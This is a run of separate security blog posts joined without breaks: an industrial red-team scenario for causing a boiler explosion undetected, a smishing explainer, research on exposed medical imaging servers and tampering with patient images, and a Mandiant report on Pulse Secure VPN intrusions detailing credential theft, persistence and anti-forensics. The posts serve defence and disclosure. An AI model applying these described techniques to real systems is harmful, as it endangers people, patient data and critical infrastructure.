At this point of the intrusion, the attacker would have already obtained complete control over Big Steam Works' OPC clients and servers, gaining visibility and access to the DCS environment.
Before defining the path to follow, the attacker would likely have to perform further reconnaissance (e.g., compromising additional systems, data, and credentials within the Big Steam Works DCS environment).
Specifically, the attacker could: Gain access to the DCS configuration software/engineering workstation Obtain configuration/control logic files Determine the type/function of the different DCS nodes in the environment Use native DCS tools for system overview, graphics display, and point drill down Identify alarms/alerts monitored by operators via remote HMI screens and map them to defined points Map the flow of the physical process based on data collection and review Our next step was to develop the custom scenario.
For this example, we were tasked with modeling a case where the attacker was attempting to create a condition that had a high likelihood of causing physical damage and disruption of operations (see Figure 3).
In this scenario, the attacker attempted to achieve this by lowering the water level in a boiler drum below the safe threshold while not tripping the burner management system or other safety mechanisms.
If successful, this would result in rapid and extreme overheating in the boiler.
Opening the feedwater valve under such conditions could result in a catastrophic explosion.
Figure 3:
Custom attack model diagram for Big Steam Works Figure 3 describes how a real attacker might pursue their mission after gaining access to the OPC servers and clients.
As the actor moves closer to their goals, it becomes more difficult to assess both the probability of success and the actual impact of their actions due to nuances specific to the client environment and additional safety and security controls built into the process.
However, the analysis holds significant value as it illustrates the overall structure of the physical process and potential attacker behaviors aimed at achieving specific end goals.
Furthermore, it proceeds directly from the results obtained during the first phase of the red teaming.
The model presents one feasible combination of actions that an attacker could perform to access devices governing the boiler drum and modify the water level while remaining undetected.
With the level of access obtained from phase 1, the attacker would likely be able to compromise engineering workstations (EWS) for the boiler drum's controller using similar tools.
This would likely enable the actor to perform actions such as changing the drum level setpoints, modifying the flow of steam scaling, or modifying water flow scaling.
While the model does not reflect all additional safety and security measures that may be present deeper in the process, it does account for the attacker's need to modify alarms and control sensor outputs to remain undetected.
By connecting the outcomes produced in the test to the potential physical impacts and motivations involved in a real attack, this model provided Big Steam Works with a realistic overview of cyber security threats to a specific physical process.
Further collaboration with the customer enabled us to validate the findings and support the organization to mitigate the risks reflected in the model.
Outlook Mandiant's OT red teaming supports organizations by combining both the hands-on analysis of vulnerabilities and weaknesses in IT and OT networks with the conceptual modeling of attacker goals and possible avenues to reach specific outcomes.
It also enables security practitioners to adopt the attacker's perspective and explore attack vectors that may otherwise have not been conceived regardless of their value as low-hanging fruit for OT intrusions.
Our approach presents realistic scenarios based upon technical evidence of intrusion activity upon OT intermediary systems in the tested network.
In this way, it is tailored to support consequence-driven analysis of threats to specific critical systems and processes.
This enables organizations to identify attack scenarios involving digital assets and determine safeguards that can best help to protect the process and ensure the safety of their facilities.
Head over to our website for more information or to request Mandiant services or threat intelligence .
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With smishing all the rage, media in the United States , Italy , and Brazil have been cranking out alarming stories about new scams.
The German police even issued an official warning about one such campaign.
The phenomenon has raked in massive sums, as evidenced by its search popularity.
So, what is smishing?
Rise in search popularity of “smishing” on Google in the past few years What is smishing, and how does it work?
Smishing is phishing spread through text (SMS) messages rather than by e-mail; hence the term: smishing =
SMS + phishing.
Some classifications include phishing over messaging apps as part of smishing, but we consider that a separate category and won’t be discussing it here.
The goal, as with any other phishing attempt, is to trick recipients into divulging sensitive information, typically their online banking password or bank card information.
To do that, scammers send text messages, generally about an invented problem — a delivery issue, unpaid bill, or blocked account, for example — that the recipient has to resolve by clicking on a link.
After that, things can go one of two ways: Scenario 1 infects the victim with malware disguised as a legitimate application but whose actual purpose is to request important information; Scenario 2 takes the victim to a Web page disguised as a legitimate website but whose actual purpose is to request important information.
The choice of scenario really depends on the scammer’s comfort zone — malware or fake websites.
The victim’s outcome is the same either way.
Similar scams have resulted in the theft of thousands of dollars , euros , and pounds .
Why has SMS phishing become so popular recently, and what makes it more dangerous than typical phishing?
What makes smishing more dangerous than typical phishing Most of us have more or less gotten used to e-mail phishing, and people by and large know how to recognize and avoid it.
Text messages are a more unexpected channel for scams, so people are less likely to think a short message will represent a scam.
Beyond that, although people trust text messages more, texts tend to be less secure than e-mail.
Nowadays, every halfway decent e-mail service has an intelligent built-in spam filter.
The filters aren’t perfect, but scammers need to keep inventing new moves to get past them.
Unfortunately, when it comes to flexibility and accuracy, mobile operators’ spam filters leave something to be desired.
People also typically read their text messages on the go or between other tasks.
That, combined with a lowered expectation of danger in text messages, means they tend to look less closely at text messages, making an attack more likely to succeed.
In other words, when people get a message, they’re likely to disregard their mental checklist of warning signs and just click through.
Finally, SMS messages display fewer signs that would help you recognize a scam.
When you get an e-mail, you can look at the sender’s address, assess design and layout, and consider how plausible the message is overall — in short, you can look for standard red flags.
With texts, even legitimate messages look a lot like one another, with short messages often employing nonstandard language and no design to speak of; and scammers with the technical skills can realistically spoof the sender’s info, replacing the sender’s real number with a fake one.
How to protect yourself from smishing As with traditional phishing, you have strong defenses against smishing.
Do not click on links or share any of your information in a text thread.
As a general rule, the less activity, the better; Use two-factor authentication wherever you have the option.
That way, even having a stolen password won’t help criminals raid your account.
Contact your bank immediately if you suspect criminals have gotten access to your account.
The bank can freeze your card, change your passwords, and advise you about further steps.
We’ll close with a few FAQs to clear up any lingering questions.
Should I respond to fraudulent messages, just to have them remove me from their mailing list?
Do not do that.
Responding simply confirms that your phone number is active.
Unsubscribing can be hard even with legitimate companies; don’t expect a fair deal from people breaking the law.
What if it’s not smishing but an important message from my bank?
If you have any doubts, contact your bank directly.
It’s unlikely they sent that message, but speaking of contacting the bank, make sure to get that phone number from an official source, such as its website.
Whatever you do, don’t use any contact details from the suspicious text.
Is there a way to automatically filter out phishing through SMS messages?
Of course there is!
Many security solutions have long used built-in filters to catch suspicious links in text messages and messaging apps, warn you about them, and make sure you don’t lose money just because you let your guard down for a moment.
For example, you’ll benefit from such filters in Kaspersky Internet Security for Android .
By Christiaan Beek on Mar 11, 2018 The nonperishable nature of medical data makes an irresistible target for cybercriminals.
The art of hacking requires significant time and effort, encouraging experienced cybercriminals to plot their attacks based on the return they will see from their investment.
Those who have successfully gained access to medical data have been well rewarded for their efforts.
One seller stated in an interview that “someone wanted to buy all the … records specifically,” claiming that the effort had netted US$100,000.
While at a doctor’s appointment with my wife watching a beautiful 4D ultrasound of our unborn child, I noticed the words “saving data to image” flash on the screen.
Although this phrase would not catch the attention of most people, given my research on how cybercriminals are targeting the health care industry , I quickly began to wonder why an ultrasound of our child would not instead save to a file.
Intrigued, I decided to dig into the world of medical imaging and its possible security risks.
The results were disturbing; ultimately, we were able to combine attack vectors to reconstruct body parts from the images and make a three-dimensional model.
PACS Most hospitals or medical research facilities use PACS, for picture archiving and communication system, so that images such as ultrasounds, mammograms, MRIs, etc.
can be accessed from the various systems within their facility, or through the cloud.
A PACS setup contains multiple components, including a workstation, imaging device, acquisition gateway, PACS controller, database, and archiving—as illustrated in the following graphic: The basic elements of PACS infrastructure.
The imaging device creates a picture, such as an ultrasound or MRI, which is uploaded to an acquisition gateway.
Because much of the imaging equipment in use by medical facilities does not align with security best practices, acquisition gateways are placed in the network to enable the digital exchange of the images.
The acquisition gateway also often acts as the server connecting to the hospital’s information system (using the HL7 protocol) to enrich images with patient data.
The PACS controller is the central unit coordinating all traffic among the different components.
The final component in the PACS infrastructure is the database and archiving system.
The system ensures that all images are correctly stored and labeled for either short- or long-term storage.
Larger implementations might have multiple imaging devices and acquisition gateways in various locations, connected over the Internet.
During our investigation, we noticed many small medical practices around the world using free, open-source PACS software, which was not always securely implemented.
To determine how many PACS servers are connected depends on on how you search using Shodan, a search engine for finding specific types of computers connected to the Internet.
Some servers connect over TCP 104; others use HTTP TCP 80 or HTTPS TCP 443.
A quick search revealed more than 1,100 PACS directly connected to the Internet, not behind a recommended layer of network security measures or virtual private networks (VPNs).
PACS systems connected to the Internet.
Darker colors represent more systems.
Our eyebrows began to rise very early in our research, as we came across “IE 6 support only” messages or ActiveX controls and old Java support; many of these products are vulnerable to a plethora of exploits.
For example, one of the PACS generated an error page when we changed one parameter.
This is a very basic common way of testing if the application developers did proper input sanitation check to prevent attackers inserting code or generating failures that could reveal data about the application and can give clues to compromise the system.
A stack-trace error.
The stack-trace dump revealed the use of Apache Tomcat Version 7.0.13, which has more than 40 vulnerabilities.
When communicating with the DICOM (digital imaging and communications in medicine) port, TCP 104, it is possible to grab the banner of a server and get a response.
As we queried, we recorded different responses.
Let’s look at one: \\x02\\x00\\x00\\x00\\x00\\xbe\\x00\\x01\\x00\\x00ANY-SCP         FINDSCU         \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x151.2.840.10008.3.1.1.1!\\x00\\x00\\x1b\\x01\\x00\\x00\\x00@\\x00\\x00\\x131.2.840.10008.1.2.1P\\x00\\x00>Q\\x00\\x00\\x04\\x00\\x00@\\x00R\\x00\\x00\"1.2.826.0.1.3680043.2.135.1066.101U\\x00\\x00\\x0c1.4.16/WIN32
The FINDSCU string refers to the findscu tool, which can be used to query a PACS system.
The DICOM standard defines three data models for the query/retrieve service.
Each data model has been assigned with one unique ID for the C-FIND, one for the C-MOVE, and one for C-GET; so all together there are nine unique IDs, three for each model.
In the preceding banner, we retrieved two of those IDs:
2.840.10008.1.2.1: A transfer unique ID that defines the value “Explicit VR Little Endian” for data transfer 2.826.0.1.3680043.2.135.1066.101:
A value referring to the implementation class Another value in the banner, “1.4.16/WIN32,” refers to the implementation version.
In the context of the medical servers, this refers to the version of XAMPP, aka Apache with MariaDB, PHP, and Perl.
This server was running Apache 2.4.9, which is publicly known to contain nine vulnerabilities.
In other cases, there was no need to search for vulnerabilities.
The management interface was wide open and could be accessed without credentials.
What does this mean?
It is possible to access the images.
Vulnerabilities In addition to expensive commercial PACS systems, open-source or small-fee PACS are available for small health care institutions or practices.
As we investigated these systems, we found that our fears were well founded.
One web server/client setup used the defaults “admin/password” as credentials without enforcing a change when the server is started for the first time.
We found more problems: Unencrypted traffic between client and server Click jacking Cross-site scripting (reflected) Cross-site scripting stored as cross-site request forgery Document object model–based link manipulation Remote creation of admin accounts Disclosure of information Many of these are ranked on the list of OWASP Top 10 Most Critical Web Application Security Risks list, which highlights severe flaws that should be addressed in any product delivered to a customer.
We have reported the vulnerabilities we discovered to these vendors following our responsible disclosure process.
They cooperated with us in investigating the vulnerabilities and taking appropriate actions to fix the issues.
But why should we spend so much time and effort in researching vulnerabilities when there are many other ways to retrieve medical images from the Internet?
Medical Image Formats The medical world uses several image formats for different purposes.
Each format has different requirements and works with different equipment, protocols, etc.
A few format examples: NifTi Neuroimaging Informatics Technology Initiative Dicom Digital Imaging and Communications in Medicine MINC Medical Imaging NetCDF
NRRD
Nearly Raw Raster Data Searching open directories and FTP servers while using several search engines, we gathered thousands of images—some of them complete MRI scans, mostly in DICOM format.
One example: An open directory of images.
The DICOM format originated in the 1980s, before cybersecurity was a key component.
The standard format contains a detailed list of tags such as patient name, station name, hospital, etc.
All are included as metadata with the image.
Opening an image with a text editor presents the following screen:
An example of the DICOM file format.
The file begins with the prefix DICM, an indicator that we are dealing with a DICOM file.
Other (now obscured) strings in this example include the hospital’s name, city, patient name, and more.
The Health Insurance Portability and Accountability Act requires a secure medical imaging workflow, which includes the removal or anonymizing of metadata in DICOM files.
Researching the retrieved files from open sources and directories, we discovered most of the images still contained this metadata, such as in the following example, from which we extracted (obscured) personally identifiable information (PII).
Metadata discovered in a DICOM file.
Combining Vulnerabilities and Metadata We combined possible vulnerabilities and the metadata to create a test scenario, installing information from a dummy patient, including an x-ray picture of a knee, to the vulnerable PACS server.
Our test patient record, followed by an x-ray of a knee.
Using vulnerability information gathered in an earlier phase of research, we launched an attack to gain access to the PACS server.
Once we had access, we downloaded the image from our dummy patient and altered the metadata of the image series, changing all references of “knee” to “elbow.”
Altered metadata of the test patient image.
We then saved the picture and uploaded it to the server.
Checking the records of our dummy patient, we found our changes were successful.
Changes successfully updated.
Reconstructing Body Parts In the medical imaging world, a large array of software can investigate and visualize images in different ways, for example, in 3D.
We took our collection of images, and using a demo version of 3D software, we reconstructed complete 3D models of vertebrae, pelvis, knees, etc.
and, in one case, we reconstructed a partial face.
Because we firmly believe in protecting privacy, the following example—a series of images from a pelvis—comes from a demo file that accompanies the software.
An example of a series of images.
After selecting areas of interest and adjusting the levels, we generated a 3D model of the pelvis: A 3D model of the pelvis.
The application that generated the 3D model has a feature that allowed us to export the model in several data formats to be used by other 3D drawing programs.
After the export, we imported the data into a 3D drawing program and converted the file to STL, a popular format for 3D objects and printers.
In short, we began with files from open directories, transformed them into a 3D model, and printed a tangible model using a 3D printer: Our 3D model of a pelvis.
Conclusion When we began our investigation into the security status of medical imaging systems, we never expected we would conclude by reconstructing body parts.
The amount of old software used in implementations of PACS servers and the amount of vulnerabilities discovered within the software itself are concerning.
We investigated relatively few open-source vendors, but it begs the question: What more could we have found if we had access to professional hardware and software?
Default accounts, cross-site scripting, or vulnerabilities in the web server could lead to access to the systems.
Our research demonstrates that once inside the systems, the data and pictures can be permanently altered.
In May 2017, one report claimed that through artificial intelligence pictures could be studied to determine how long a person will live.
What if criminals could obtain that information and use it for extortion?
We understand the need for quickly sharing medical data for diagnosis and treatment and for storing medical images.
We advise health care organizations to be careful when sharing images on open directories for research purposes and to at least scrape the PII data from the images.
For organizations using a PACS, ask your vendor about its security features.
Employ a proper network design in which the sharing systems are properly secured.
Think not only about internal security but also about the use of VPNs and two-factor authentication when connecting with external systems.
For more on the health care industry follow @McAfee_Labs and catch up on all threats statistics from Q417 in the March Threats Report .
On April 20, 2021, Mandiant published detailed results of our investigations into compromised Pulse Secure devices by suspected Chinese espionage operators .
This blog post is intended to provide an update on our findings, give additional recommendations to network defenders, and discuss potential implications for U.S.-China strategic relations.
Mandiant continues to gather evidence and respond to intrusions involving compromises of Pulse Secure VPN appliances at organizations across the defense, government, high tech, transportation, and financial sectors in the U.S. and Europe (Figure 1).
Reverse engineers on the FLARE team have identified four additional code families specifically designed to manipulate Pulse Secure devices.
We now assess that espionage activity by UNC2630 and UNC2717 supports key Chinese government priorities.
Many compromised organizations operate in verticals and industries aligned with Beijing’s strategic objectives outlined in China’s recent 14th Five Year Plan.
While there is evidence of data theft at many organizations, we have not directly observed the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement .
Mandiant Threat Intelligence assesses that Chinese cyber espionage activity has demonstrated a higher tolerance for risk and is less constrained by diplomatic pressures than previously characterized.
Figure 1:
Organizations with compromised Pulse Secure devices by vertical and geographic location Pulse Secure continues to work closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues.
Pulse Secure’s parent company, Ivanti, has released patches to proactively address software vulnerabilities and issued updated Security Advisories and Knowledge Articles to assist customers.
(Please see the Forensics, Remediation, and Hardening Guidelines section for additional details.)
UNC2630 and UNC2717 Tradecraft and Response to Disclosure Mandiant is tracking 16 malware families exclusively designed to infect Pulse Secure VPN appliances and used by several cyber espionage groups which we believe are affiliated with the Chinese government.
Between April 17 and April 20, 2021, Mandiant incident responders observed UNC2630 access dozens of compromised devices and remove webshells like ATRIUM and SLIGHTPULSE.
Under certain conditions, the Integrity Checker Tool (ICT) will show no evidence of compromise on appliances which may have had historical compromise.
This false negative may be returned because the ICT cannot scan the rollback partition.
If a backdoor or persistence patcher exists on the rollback partition and a Pulse Secure appliance is rolled back to the prior version, the backdoor(s) will be present on the appliance.
Please see the Forensics, Remediation, and Hardening Guidelines section for important information regarding the ICT and upgrade process.
In at least one instance, UNC2630 deleted their webshell(s) but did not remove the persistence patcher, making it possible to regain access when the device was upgraded.
The remaining persistence patcher causes the malicious code to be executed later during a system upgrade, re-inserts webshell logic into various files on the appliance, and recompromises the device.
It is unusual for Chinese espionage actors to remove a large number of backdoors across several victim environments on or around the time of public disclosure.
This action displays an interesting concern for operational security and a sensitivity to publicity.
Both UNC2630 and UNC2717 display advanced tradecraft and go to impressive lengths to avoid detection.
The actors modify file timestamps and regularly edit or delete forensic evidence such as logs, web server core dumps, and files staged for exfiltration.
They also demonstrate a deep understanding of network appliances and advanced knowledge of a targeted network.
This tradecraft can make it difficult for network defenders to establish a complete list of tools used, credentials stolen, the initial intrusion vector, or the intrusion start date.
Updates from Incident Response Investigations We continue to suspect that multiple groups including UNC2630 and UNC2717 are responsible for this activity, despite the use of similar exploits and tools.
There is a high degree of variation in attacker actions within victim environments, with actors inconsistently using a combination of tools and command and control IP addresses.
Reverse engineers on the FLARE team have identified four additional malware families specifically designed to manipulate Pulse Secure devices (Table 1).
These utilities have similar functions to the 12 previously documented malware families: harvesting credentials and sensitive system data, allowing arbitrary file execution, and removing forensic evidence.
Please see the Technical Annex for detailed analysis of these code families.
Malware Family Description Actor BLOODMINE BLOODMINE is a utility for parsing Pulse Secure Connect log files.
It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file.
UNC2630 BLOODBANK BLOODBANK is a credential theft utility that parses two files containing password hashes or plaintext passwords and expects an output file to be given at the command prompt.
UNC2630 CLEANPULSE CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring.
It was found in close proximity to an ATRIUM webshell.
UNC2630 RAPIDPULSE RAPIDPULSE is a webshell capable of arbitrary file read.
As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file.
RAPIDPULSE can serve as an encrypted file downloader for the attacker.
UNC2630 Table 1: New malware families identified Initial Compromise The actors leveraged several vulnerabilities in Pulse Secure VPN appliances.
Mandiant observed the use of the recently patched vulnerability CVE-2021-22893 to compromise fully patched Pulse Secure appliances as well as previously disclosed vulnerabilities from 2019 and 2020.
In many cases, determining the initial exploitation vector and timeframe was not possible to determine because the actors altered or deleted forensic evidence, or the appliance had undergone subsequent code upgrades thereby destroying evidence related to the initial exploitation.
Establish Foothold In some cases, Mandiant observed the actors create their own Local Administrator account outside of established credential management controls on Windows servers of strategic value.
This allowed the actor to maintain access to systems with short-cycle credential rotation policies and provided a sufficient level of access to operate freely within their target environment.
The actors also maintained their foothold into the targeted environments exclusively through Pulse Secure webshells and malware without relying on backdoors deployed on internal Windows or Linux endpoints.
Escalate Privileges Mandiant observed the actors use three credential harvesting techniques on Windows systems: Targeting of clear text passwords and hashes from memory using the credential harvesting tool Mimikatz.
Instead of being copied locally and executed on the target system, Mandiant saw evidence of the Mimikatz binary on the source system of an RDP session (i.e.
the threat actor’s system that was connected to the VPN) through an RDP mapped drive.
Copying and exfiltration of the SAM, SECURITY, and SYSTEM registry hives which contained cached NTLM hashes for Local and Domain accounts.
Leveraging the Windows Task Manager process to target the Local Security Authority Subsystem Service (LSASS) process memory for NTLM hashes.
In addition to these privilege escalation techniques, the actors specifically targeted separate privileged accounts belonging to individuals whose unprivileged accounts were previously compromised (likely through the Pulse Secure credential harvesting malware families).
It is unclear how the account associations were made by the actor.
Internal Reconnaissance Mandiant found evidence that the actors renamed their own workstations that they connected to the VPN of victim networks to mimic the naming convention of their target environment.
This practice aligns with the actor’s objective for long-term persistence and evading detection and demonstrates a familiarity with the internal hostnames in the victim environment.
The actors operated solely by utilizing Windows-based utilities to carry out tasks.
Some of the utilities observed were net.exe, quser.exe, powershell.exe, powershell_ise.exe, findstr.exe, netstat.exe, cmd.exe, reg.exe and tasklist.exe.
Move Laterally Most lateral movement originated from compromised Pulse Secure VPN appliances to internal systems within the environment.
While connected to the Pulse VPN appliance, the actor’s system was assigned an IP address from the Pulse VPN DHCP pool and they moved laterally throughout the environments by leveraging the Remote Desktop Protocol (RDP), the Secure Shell Protocol (SSH), and browser-based communication to HTTPS hosted resources.
The actors also accessed other resources such as Microsoft M365 cloud environments using stolen credentials they had previously acquired.
Mandiant also observed the actors targeting ESXi host servers.
The actor enabled SSH on ESXi hosts that were previously disabled via the web interface.
When their operations on the system were finished, the actors disabled SSH on the ESXi host again and cleared or preemptively disabled all relevant logging associated with the performed activities.
This includes authentication, command history, and message logging on the system.
Maintain Presence Mandiant observed the threat actor maintain persistence by compromising the upgrade process on the Pulse Secure Appliance.
Persistence was primarily achieved by modifying the legitimate DSUpgrade.pm file to install the ATRIUM webshell across each upgrade performed by an administrator.
The actor likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is applied during updates.
The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into.
This results in a persistence mechanism which allows the actor to maintain access to the system across updates.
The actors also achieved persistence in other cases by prepending a bash script to the file /bin/
umount normally used to unmount a Linux filesystem.
This binary was targeted by the actor because it is executed by the Pulse Secure appliance during a system upgrade.
The actor’s script verifies that the umount binary executes with a specific set of arguments, which are identical to the arguments used by the Pulse Secure appliance to executes the binary.
The inserted malicious bash script remounts the filesystem as read-write and iterates through a series of bash routines to inject the ATRIUM webshell, hide SLOWPULSE from a legacy file integrity bash script, remove or add itself from the umount file, and validate the web process was running after a reboot to return the filesystem back to read-only.
Complete Mission
The threat actor’s objectives appear to be stealing credentials, maintaining long-term persistent access to victim networks, and accessing or exfiltrating sensitive data.
Mandiant has observed the attackers: Staging data related to sensitive projects, often in C:\\Users\\Public Naming exfiltration archives to resemble Windows Updates (KB) or to match the format KB<digits>.zip
Using the JAR/ZIP file format for data exfiltration Deleting exfiltrated archives Analysis of new malware families is included in the Technical Annex to enable defenders to quickly assess if their respective appliances have been affected.
Relevant MITRE ATT&CK techniques, Yara rules and hashes are published on Mandiant’s GitHub page .
Forensics, Remediation, and Hardening Guidelines To begin an investigation, Pulse Secure users should contact their Customer Support Representative for assistance completing the following steps: Capture memory and a forensic image of the appliance Run the Pulse Integrity Checker Tool found online Request a decrypted image of each partition and a memory dump To remediate a compromised Pulse Secure appliance: Caution must be taken when determining if a Pulse Secure device was compromised at any previous date.
If the Integrity Checker Tool (ICT) was not run before the appliance was updated, the only evidence of compromise will exist in the system rollback partition which cannot be scanned by the ICT.
If an upgrade was performed without first using the ICT, a manual inspection of the rollback partition is required to determine if the device was previously compromised.
To ensure that no malicious logic is copied to a clean device, users must perform upgrades from the appliance console rather than the web interface.
The console upgrade process follows a separate code path that will not execute files such as DSUpgrade.pm.
Previous versions of the ICT will exit if run on an unsupported software version.
For every ICT scan, ensure that the ICT would have supported the device's version number.
Reset all passwords in the environment.
Upgrade to the most recent software version.
To secure the appliance and assist with future investigations, consider implementing the following: Enable unauthenticated logging and configure syslog for Events, User & Admin Access Forward
all logs to a central log repository Review logs for unusual authentications and evidence of exploitation Regularly run the Integrity Checker Tool Apply patches as soon as they are made available Geopolitical Context and Implications for U.S.-China Relations In collaboration with intelligence analysts at BAE Systems Applied Intelligence, Mandiant has identified dozens of organizations across the defense, government, telecommunications, high tech, education, transportation, and financial sectors in the U.S. and Europe that have been compromised via vulnerabilities in Pulse Secure VPNs.
Historic Mandiant and BAE investigations identified a significant number of these organizations as previous APT5 targets.
Notably, compromised organizations operate in verticals and industries aligned with Beijing’s strategic objectives as outlined in China’s 14th Five Year Plan.
Many manufacturers also compete with Chinese businesses in the high tech, green energy, and telecommunications sectors.
Despite this, we have not directly observed the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.
Targets of Chinese cyber espionage operations are often selected for their alignment with national strategic goals, and there is a strong correlation between pillar industries listed in policy white papers and targets of Chinese cyber espionage activity.
China has outlined eight key areas of vital economic interest for development and production which it views as essential to maintaining global competitiveness, under the following categories: energy, healthcare, railway transportation, telecommunications, national defense and stability, advanced manufacturing, network power, and sports and culture.
Historical Context
In the Red Line Drawn report, Mandiant documented a significant decline in the volume of Chinese cyberespionage activity in 2014 and assessed that the restructuring of China's military and civilian intelligence agencies significantly impacted Chinese cyber operations.
Then, in September 2015, President Xi of China concluded a bilateral agreement with U.S. President Obama to prohibit state-sponsored theft of intellectual property for the purpose of providing commercial advantage.
Commercial IP theft has historically been a prominent characteristic of Chinese cyber espionage activity.
In 2018 we conducted an extensive review of Chinese cyber espionage operations, both before and after the official announcement of the PLA reforms and bilateral agreement to determine if there were any corresponding changes in the tactics, techniques, and procedures (TTPs) used during Chinese cyberespionage operations.
We observed two important changes in the type of information stolen and the geographic distribution of the targets.
Despite examining hundreds of incidents from January 2016 through mid 2019, we did not find definitive evidence of purely commercial application intellectual property theft in the US.
Recent indictments by the US Department of Justice suggest that this theft did occur.
While we observed other malicious activity, including geopolitical targeting, theft of intellectual property with military applications, and theft of confidential business information, we did not find evidence that these cyber operations violated the Obama-Xi agreement.
Between January 2016 and mid-2019, the geographic focus of Chinese cyber operations shifted dramatically to Asia and away from the U.S. and Europe.
While the U.S. remained the single most frequently targeted country, it became a much smaller percentage of observed activity.
From 2012–2015, U.S. targeting constituted nearly 70 percent of all observed Chinese cyber espionage, while from January 2016 through August 2019, U.S. targeting fell to approximately 20 percent of Chinese activity.
Targeting of Europe represented a similar proportion of overall Chinese activity to targeting of the Americas.
Changes in Chinese Espionage Activity between 2019 and 2021 Based on developments observed between 2019-2021, Mandiant Threat Intelligence assesses that most Chinese APT actors now concentrate on lower-volume but more-sophisticated, stealthier operations collecting strategic intelligence to support Chinese strategic political, military, and economic goals.
While some of the technical changes may be the result of the restructuring of China's military and civilian organizations, some changes possibly reflect larger technical trends in cyber operations overall.
Before the reorganization, it was common to observe multiple Chinese espionage groups targeting the same organization, often targeting the same types of information.
Post-2015, this duplication of efforts is rare.
Chinese espionage groups developed more efficient and purposeful targeting patterns by transitioning away from spearphishing and relying on end user software vulnerabilities and instead began exploiting networking devices and web facing applications in novel ways.
Chinese APT actors also began to leverage supply chain vulnerabilities and to target third party providers to gain access to primary targets.
Recently observed Chinese cyber espionage activity exhibits an increased diligence in operational security, familiarity with network defender investigation techniques, and cognizance of the forensic evidence they leave behind.
We observe the resurgence of older Chinese espionage groups, including APT4 and APT5 after long periods of dormancy and currently active groups engage in frequent and widespread campaigns.
Redline Withdrawn?
The Obama-Xi agreement prohibits the theft of intellectual property with purely commercial applications for the purpose of gaining a competitive advantage.
It does not cover government or diplomatic information, sensitive business communications, IT data, PII, or intellectual property with military or dual use applications.
We have direct evidence of UNC2630, UNC2717 and other Chinese APT actors stealing credentials, email communications, and intellectual property with dual commercial and military applications.
Throughout our investigations, we did not directly observe the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.
Given the narrow definition of commercial intellectual property theft and the limited availability of forensic evidence, it is possible that our assessment will change with the discovery of new information.
Evidence collected by Mandiant over the past decade suggests that norms and diplomatic agreements do not significantly limit China's use of its cyber threat capabilities, particularly when serving high-priority missions.
The greater ambition and risk tolerance demonstrated by Chinese policymakers since 2019 indicates that the tempo of Chinese state-sponsored activity may increase in the near future and that the Chinese cyber threat apparatus presents a renewed and serious threat to US and European commercial entities.
Acknowledgements Mandiant would like to thank analysts at BAE Systems Applied Intelligence, Stroz Friedberg, and Pulse Secure for their hard work, collaboration and partnership.
The team would also like to thank Scott Henderson, Kelli Vanderlee, Jacqueline O'Leary, Michelle Cantos, and all the analysts who worked on Mandiant’s Red Line Redrawn project.
The team would also like to thank Mike Dockry, Josh Villanueva, Keith Knapp, and all the incident responders who worked on these engagements.
Additional Resources CISA Alert (AA21-110A): Exploitation of Pulse Connect Secure Vulnerabilities Pulse Secure Advisory SA44101: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX
Pulse Secure Advisory SA44784: Multiple Vulnerabilities Resolved in Pulse Connect Secure 9.1R11.4 Pulse Secure Customer FAQ KB44764: PCS Security Integrity Tool Enhancements Pulse Secure
KB44755:
Pulse Connect Secure (PCS) Integrity Assurance Detecting the Techniques
The following table contains specific FireEye product detection names for the malware families associated with this updated information.
Platform(s) Detection Name Network Security Email Security Detection On Demand Malware File
Scanning Malware File Storage Scanning FE_APT_Tool_Linux32_BLOODMINE_1 FE_APT_Tool_Linux_BLOODMINE_1
FE_APT_Tool_Linux32_BLOODBANK_1 FE_APT_Tool_Linux_BLOODBANK_1 FE_APT_Tool_Linux32_CLEANPULSE_1 FE_APT_Tool_Linux_CLEANPULSE_1 FE_APT_Webshell_PL_RAPIDPULSE_1 FEC_APT_Webshell_PL_RAPIDPULSE_1 Endpoint Security Real-Time Detection (IOC) BLOODBANK (UTILITY) BLOODMINE (UTILITY)
Helix Establish Foothold WINDOWS METHODOLOGY
[User Account Created] WINDOWS METHODOLOGY
[
User Created - Net Command]
Escalate Privileges WINDOWS METHODOLOGY [Mimikatz Args] WINDOWS METHODOLOGY [Invoke-Mimikatz Powershell Artifacts] WINDOWS METHODOLOGY [LSASS Memory Access] WINDOWS METHODOLOGY
[LSASS Generic Dump Activity] Internal Reconnaissance WINDOWS ANALYTICS [Recon Commands]
Move Laterally WINDOWS ANALYTICS [Abnormal RDP Logon] OFFICE 365 ANALYTICS [Abnormal Logon]
Technical Annex BLOODMINE BLOODMINE is a utility for parsing Pulse Secure Connect log files.
It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file.
The sample takes three command line arguments Filename to read Filename to write Timeout interval It parses the input file for login status codes: AUT31504 AUT24414 AUT22673 AUT22886
AUT23574 It parses the input file for web results code WEB20174.
If it finds a web result code, it looks for file extensions: .css .jpg .png .gif .ico .js .jsp
These strings indicate the type of data that is collected from web requests: Web login, IP: %s,
User: %s, Realm: %s, Roles: %s, Browser: %s Agent login, IP: %s,
User: %s, Realm: %s, Roles: %s, Client: %s Logout, IP: %s,
User: %s, Realm: %s, Roles: %s Session end, IP: %s,
User: %s, Realm: %s, Roles: %s New session, IP: %s,
User: %s, Realm: %s, Roles: %s, New IP: %s Host check, Policy: %s
WebRequest completed, IP: %s,
User: %s, Realm: %s, Roles: %s, %s to %s://%s:%s/%s from %s BLOODBANK BLOODBANK is a credential theft utility that parses two LMDB (an in memory database) files and expects an output file to be given at the command prompt.
BLOODBANK takes advantage of a legitimate process that supports Single Sign On functionality and looks for plaintext passwords when they are briefly loaded in memory.
